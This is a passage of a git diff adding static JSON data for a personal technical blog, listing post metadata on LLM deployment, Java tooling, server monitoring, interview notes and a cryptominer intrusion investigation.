dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","slug":"article/241205-aria","pageIcon":"🗒️","lastEditedDate":"2024-12-05T07:43:49.973Z"},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","title":"开发Maven插件:实现打包后上传tos云服务","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","category":"技术分享","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","slug":"article/241110-tos-plugin","pageIcon":"🗒️","lastEditedDate":"2024-11-10T09:10:56.856Z"},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","category":"技术分享","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","slug":"article/240810-minicpm2.6","pageIcon":"🗒️","lastEditedDate":"2024-12-05T02:07:11.171Z"},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","title":"LAVIS在Mac,M1PRO芯片下的安装实战","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","category":"技术分享","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","slug":"article/240806-lavis","pageIcon":"🗒️","lastEditedDate":"2024-08-06T07:08:06.450Z"},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","title":"Iphone Mirroring圆了我AI打DNF手游的梦","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","category":"技术分享","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","slug":"article/240725-ai","pageIcon":"🗒️","lastEditedDate":"2024-07-25T15:39:43.435Z"},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","title":"天池大赛Higress插件官方demo详细部署+调试","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","category":"技术分享","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","slug":"article/240626-demo","pageIcon":"🗒️","lastEditedDate":"2024-06-28T08:12:44.310Z"},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","title":"Java程序员学习Go开发Higress的WASM插件","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","category":"技术分享","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","slug":"article/240625-higress","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:54:09.169Z"},{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","title":"万里长征-04-脉脉","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"脉脉面试题","slug":"article/240525-LM-04","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:59:08.858Z"},{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","title":"万里长征-03-搜狐","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"搜狐面试题","slug":"article/240429-LM-fox","pageIcon":"🗒️","lastEditedDate":"2024-05-25T02:20:00.057Z"},{"id":"146219e7-c178-4485-b223-22f4b977333c","title":"Prometheus+Grafana多方位监控","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","category":"技术分享","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","slug":"article/240429-prometheus","pageIcon":"🗒️","lastEditedDate":"2024-04-29T03:07:56.545Z"},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","title":"Nginx配置备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","category":"技术分享","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","slug":"article/240425-nginx","pageIcon":"🗒️","lastEditedDate":"2024-04-24T16:37:04.342Z"},{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","title":"万里长征-02-跟谁学","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","category":"万里长征","tags":["面试","文字"],"summary":"跟谁学面试题","slug":"article/240408-LM-02","pageIcon":"🗒️","lastEditedDate":"2024-04-08T17:08:09.011Z"},{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","title":"万里长征-01-贝壳","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","category":"万里长征","tags":["面试"],"summary":"贝壳面试题","slug":"article/240405-LM-01","pageIcon":"🗒️","lastEditedDate":"2024-04-08T06:03:22.365Z"},{"id":"4d955058-b605-46cf-b242-1535b732af30","title":"万里长征","pageCoverThumbnail":"","category":"万里长征","tags":["面试","推荐"],"summary":"常见面试题汇总","slug":"article/240405-LM","pageIcon":"🗒️","lastEditedDate":"2024-04-07T09:23:11.250Z"},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","title":"Java程序CPU异常监控bash脚本","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","category":"技术分享","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","slug":"article/240405-cpu","pageIcon":"🗒️","lastEditedDate":"2024-04-05T12:17:00.259Z"},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"将进酒","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🗒️","lastEditedDate":"2024-04-06T03:31:44.998Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":15},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":3},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":8},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":2},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":9},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","name":"运维","color":"gray","count":3},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","name":"linux","color":"orange","count":1},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","name":"脚本","color":"orange","count":1},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","name":"面试","color":"yellow","count":5},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","name":"go","color":"gray","count":2}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":16},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","name":"万里长征","color":"green","count":5}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"2021-3-13","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"2023-3-23","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":2,"latestPosts":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""}],"posts":[{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"2024-1-24","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"2024-1-24","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"2024-1-19","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"2024-3-20","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""}],"tag":"自动化"},"__N_SSG":true} \ No newline at end of file diff --git "a/_next/data/76RZ7NVoSbfF1EgLzbeEj/tag/\350\277\220\347\273\264.json" "b/_next/data/76RZ7NVoSbfF1EgLzbeEj/tag/\350\277\220\347\273\264.json" new file mode 100644 index 000000000..635a96528 --- /dev/null +++ "b/_next/data/76RZ7NVoSbfF1EgLzbeEj/tag/\350\277\220\347\273\264.json" @@ -0,0 +1 @@ +{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","title":"地瓜RDK X5上手ollama大模型测试","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","category":null,"tags":null,"summary":null,"slug":"article/241206-rdk","pageIcon":"🗒️","lastEditedDate":"2024-12-06T09:25:20.578Z"},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","title":"多模态视频大模型Aria在Docker部署","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","category":"技术分享","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","slug":"article/241205-aria","pageIcon":"🗒️","lastEditedDate":"2024-12-05T07:43:49.973Z"},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","title":"开发Maven插件:实现打包后上传tos云服务","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","category":"技术分享","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","slug":"article/241110-tos-plugin","pageIcon":"🗒️","lastEditedDate":"2024-11-10T09:10:56.856Z"},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","category":"技术分享","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","slug":"article/240810-minicpm2.6","pageIcon":"🗒️","lastEditedDate":"2024-12-05T02:07:11.171Z"},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","title":"LAVIS在Mac,M1PRO芯片下的安装实战","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","category":"技术分享","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","slug":"article/240806-lavis","pageIcon":"🗒️","lastEditedDate":"2024-08-06T07:08:06.450Z"},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","title":"Iphone Mirroring圆了我AI打DNF手游的梦","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","category":"技术分享","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone 